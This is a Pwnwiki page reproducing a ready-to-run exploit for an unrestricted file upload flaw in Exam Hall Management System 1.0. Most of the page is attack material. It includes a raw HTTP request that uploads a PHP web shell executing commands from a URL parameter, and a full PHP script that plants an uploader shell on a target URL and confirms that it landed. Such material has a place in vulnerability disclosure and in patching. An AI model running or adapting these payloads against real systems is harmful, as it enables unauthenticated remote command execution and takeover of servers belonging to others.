Pwnwiki: Created page with "

 # Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload (Unauthenticated) # Date: 06/07/2021 # Exploit Author: Thamer Almohammadi (@Thamerz88) # Vend..."

2021-07-07T02:56:04Z

Created page with "<pre> # Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload (Unauthenticated) # Date: 06/07/2021 # Exploit Author: Thamer Almohammadi (@Thamerz88) # Vend..."

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<pre>
# Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload (Unauthenticated)
# Date: 06/07/2021
# Exploit Author: Thamer Almohammadi (@Thamerz88)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14205/exam-hall-management-system-full-source-code-using-phpmysql.html
# Version: 1.0
# Tested on: Kali Linux

# Proof of Concept :

1- Send Request to /pages/save_user.php.
2- Find your shell.php file path and try any command.

################################## REQUEST ###############################
POST /pages/save_user.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3767690350396265302394702877
Content-Length: 369
-----------------------------3767690350396265302394702877
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: application/x-php
<?php

system($_GET['cmd']);

?>
-----------------------------3767690350396265302394702877

Content-Disposition: form-data; name="btn_save"

-----------------------------3767690350396265302394702877--

################################## RESPONSE #############################
HTTP/1.1 200 OK
Date: Tue, 06 Jul 2021 02:16:18 GMT
Server: Apache/2.4.47 (Unix) OpenSSL/1.1.1k PHP/7.3.28 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/7.3.28
Content-Length: 1529
Connection: close
Content-Type: text/html; charset=UTF-8

################################## Exploit #############################
<?php
// Coder By Thamer Almohammadi(@Thamerz88);
function exploit($scheme,$host,$path,$shell){
$url=$scheme."://".$host.$path;
$content='<form enctype="multipart/form-data" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="512000" />File To Upload : <input name="userfile" type="file" /><input type="submit" value="Upload"/></form><?php $uploaddir = getcwd ()."/";$uploadfile = $uploaddir . basename ($_FILES[\'userfile\'][\'name\']);if (move_uploaded_file ($_FILES[\'userfile\'][\'tmp_name\'], $uploadfile)){echo "File was successfully uploaded.</br>";}else{echo "Upload failed";}?>';
$data = "-----------------------------3767690350396265302394702877\r\n";
$data .= "Content-Disposition: form-data; name=\"image\"; filename=\"$shell\"\r\n";
$data .= "Content-Type: image/gif\r\n\r\n";
$data .= "$content\r\n";
$data .= "-----------------------------3767690350396265302394702877\r\n";

$data .= "-----------------------------3767690350396265302394702877\r\n";
$data .= "Content-Disposition: form-data; name=\"btn_save\"\r\n\r\n";
$data .= "\r\n";
$data .= "-----------------------------3767690350396265302394702877\r\n";

$packet = "POST $path/pages/save_user.php HTTP/1.0\r\n";
$packet .= "Host: $host\r\n";
$packet .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0\r\n";
$packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*\/*;q=0.8\r\n";
$packet .= "Accept-Language: en-us,en;q=0.5\r\n";
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------3767690350396265302394702877\r\n";
$packet .= "Content-Length: ".strlen ($data)."\r\n\r\n\r\n";
$packet .= $data;
$packet .= "\r\n";
send($host, $packet);
sleep(2);
check($url,$shell);
}
function send($host, $packet)
{
if ($connect = @fsockopen ($host, 80, $x, $y, 3))
{
@fputs ($connect, $packet);
@fclose ($connect);
}

}

function check($url,$shell){
$check=file_get_contents($url."/uploadImage/Profile/".$shell);
$preg=preg_match('/(File To Upload)/', $check, $output);
if($output[0] == "File To Upload"){
echo "[+] Upload shell successfully.. :D\n";
echo "[+] Link ". $url."/uploadImage/Profile/".$shell."\n";
}
else{ //Exploit Failed
echo "[-] Exploit Failed..\n";
}

}
$options=getopt("u:s:");
if(!isset($options['u'], $options['s']))
die("\n [+] Simple Exploiter Exam Hall Management System by T3ster \n [+] Usage : php exploit.php -u http://target.com -s shell.php\n
-u http://target.com = Target URL ..
-s shell.php = Shell Name ..\n\n");
$url=$options["u"];
$shell=$options["s"];
$parse=parse_url($url);
$host=$parse['host'];
$path=$parse['path'];
$scheme=$parse['scheme'];
exploit($scheme,$host,$path,$shell);

?>
</pre>

Exam Hall Management System 1.0 無限制文件上傳漏洞 - Revision history

Pwnwiki: Created page with "
# Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload (Unauthenticated) # Date: 06/07/2021 # Exploit Author: Thamer Almohammadi (@Thamerz88) # Vend..."